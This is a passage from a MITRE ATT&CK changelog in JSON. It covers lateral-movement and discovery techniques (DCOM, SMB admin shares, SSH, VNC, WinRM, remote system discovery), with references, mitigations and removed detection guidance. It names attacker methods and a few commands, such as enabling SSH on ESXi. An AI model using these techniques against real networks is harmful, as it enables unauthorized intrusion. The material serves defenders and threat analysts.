"description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
"url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
},
{
"source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
"description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
"url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
},
{
"source_name": "Enigma Excel DCOM Sept 2017",
"description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
"url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
},
{
"source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
"description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
"url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Module: Module Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.724000+00:00\", \"old_value\": \"2025-04-15 22:20:51.024000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\\n\\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\\n-\\n-Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1030: Network Segmentation",
"M1042: Disable or Remove Feature or Program",
"M1048: Application Isolation and Sandboxing"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0029: Network Traffic (Network Connection Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0285: Multi-Event Behavioral Detection for DCOM-Based Remote Code Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:25:28.212000+00:00",
"modified": "2025-10-24 17:48:45.700000+00:00",
"name": "SMB/Windows Admin Shares",
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1021/002",
"external_id": "T1021.002"
},
{
"source_name": "Medium Detecting WMI Persistence",
"description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
"url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
},
{
"source_name": "TechNet RPC",
"description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
"url": "https://technet.microsoft.com/en-us/library/cc787851.aspx"
},
{
"source_name": "Microsoft Admin Shares",
"description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
"url": "http://support.microsoft.com/kb/314984"
},
{
"source_name": "Windows Event Forwarding Payne",
"description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
"url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem"
},
{
"source_name": "Lateral Movement Payne",
"description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
"url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"
},
{
"source_name": "Wikipedia Server Message Block",
"description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
"url": "https://en.wikipedia.org/wiki/Server_Message_Block"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Share: Network Share Access\", \"Network Traffic: Network Traffic Flow\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.700000+00:00\", \"old_value\": \"2025-04-15 19:58:29.701000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1035: Limit Access to Resource Over Network",
"M1037: Filter Network Traffic"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0028: Logon Session (Logon Session Creation)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Flow)",
"DS0033: Network Share (Network Share Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0530: Multi-Event Detection for SMB Admin Share Lateral Movement"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:27:15.774000+00:00",
"modified": "2025-10-24 17:48:34.985000+00:00",
"name": "SSH",
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1021/004",
"external_id": "T1021.004"
},
{
"source_name": "Sygnia Abyss Locker 2025",
"description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.",
"url": "https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/"
},
{
"source_name": "TrendMicro ESXI Ransomware",
"description": "Junestherry Dela Cruz. (2022, January 24). Analysis and Impact of LockBit Ransomware\u2019s First Linux and VMware ESXi Variant. Retrieved March 26, 2025.",
"url": "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html"
},
{
"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
"description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
"url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
},
{
"source_name": "Sygnia ESXi Ransomware 2025",
"description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
"url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Janantha Marasinghe"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Process: Process Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.985000+00:00\", \"old_value\": \"2025-04-15 19:58:17.607000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use of SSH may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\\n\\nOn macOS systems log show --predicate 'process = \\\"sshd\\\"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \\\"ssh\\\" or eventMessage contains \\\"ssh\\\"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n\\nOn Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Use of SSH may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\\n-\\n-On macOS systems log show --predicate 'process = \\\"sshd\\\"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \\\"ssh\\\" or eventMessage contains \\\"ssh\\\"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n-\\n-On Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1032: Multi-factor Authentication",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0028: Logon Session (Logon Session Creation)",
"DS0029: Network Traffic (Network Connection Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0596: Behavioral Detection of Remote SSH Logins Followed by Post-Login Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:28:44.950000+00:00",
"modified": "2025-10-24 17:48:19.567000+00:00",
"name": "VNC",
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1021/005",
"external_id": "T1021.005"
},
{
"source_name": "Attacking VNC Servers PentestLab",
"description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.",
"url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/"
},
{
"source_name": "MacOS VNC software for Remote Desktop",
"description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
"url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"
},
{
"source_name": "Havana authentication bug",
"description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024.",
"url": "https://lists.openstack.org/pipermail/openstack/2013-December/004138.html"
},
{
"source_name": "macOS root VNC login without authentication",
"description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.",
"url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication"
},
{
"source_name": "Offensive Security VNC Authentication Check",
"description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.",
"url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/"
},
{
"source_name": "Gnome Remote Desktop grd-settings",
"description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
"url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207"
},
{
"source_name": "Gnome Remote Desktop gschema",
"description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021.",
"url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in"
},
{
"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
"description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
"url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
},
{
"source_name": "VNC Vulnerabilities",
"description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.",
"url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/"
},
{
"source_name": "The Remote Framebuffer Protocol",
"description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.",
"url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2"
},
{
"source_name": "VNC Authentication",
"description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.",
"url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication"
},
{
"source_name": "Hijacking VNC",
"description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.",
"url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.567000+00:00\", \"old_value\": \"2025-04-15 19:58:01.548000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use of VNC may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\\n\\nOn macOS systems log show --predicate 'process = \\\"screensharingd\\\" and eventMessage contains \\\"Authentication:\\\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n\\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Use of VNC may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\\n-\\n-On macOS systems log show --predicate 'process = \\\"screensharingd\\\" and eventMessage contains \\\"Authentication:\\\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n-\\n-Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1033: Limit Software Installation",
"M1037: Filter Network Traffic",
"M1042: Disable or Remove Feature or Program",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0028: Logon Session (Logon Session Creation)",
"DS0029: Network Traffic (Network Connection Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0178: Behavioral Detection of Unauthorized VNC Remote Control Sessions"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:29:47.757000+00:00",
"modified": "2025-10-24 17:48:51+00:00",
"name": "Windows Remote Management",
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1021/006",
"external_id": "T1021.006"
},
{
"source_name": "Medium Detecting Lateral Movement",
"description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.",
"url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"
},
{
"source_name": "Jacobsen 2014",
"description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.",
"url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
},
{
"source_name": "MSDN WMI",
"description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
"url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"
},
{
"source_name": "Microsoft WinRM",
"description": "Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/winrm/portal"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Connection Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Flow\", \"Service: Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51+00:00\", \"old_value\": \"2025-04-15 23:22:03.699000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1030: Network Segmentation",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0019: Service (Service Metadata)",
"DS0028: Logon Session (Logon Session Creation)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0477: Behavioral Detection of WinRM-Based Remote Access"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:28.187000+00:00",
"modified": "2025-10-24 17:49:31.319000+00:00",
"name": "Remote System Discovery",
"description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097), net view using [Net](https://attack.mitre.org/software/S0039), or, on ESXi servers, `esxcli network diag ping`.\n\nAdversaries may also analyze data from local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021) \n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1018",
"external_id": "T1018"
},
{
"source_name": "CISA AR21-126A FIVEHANDS May 2021",
"description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
"url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
},
{
"source_name": "Elastic - Koadiac Detection with EQL",
"description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
"url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Daniel Stepanic, Elastic",
"RedHuntLabs, @redhuntlabs",
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "3.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.319000+00:00\", \"old_value\": \"2025-04-15 19:59:15.859000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and 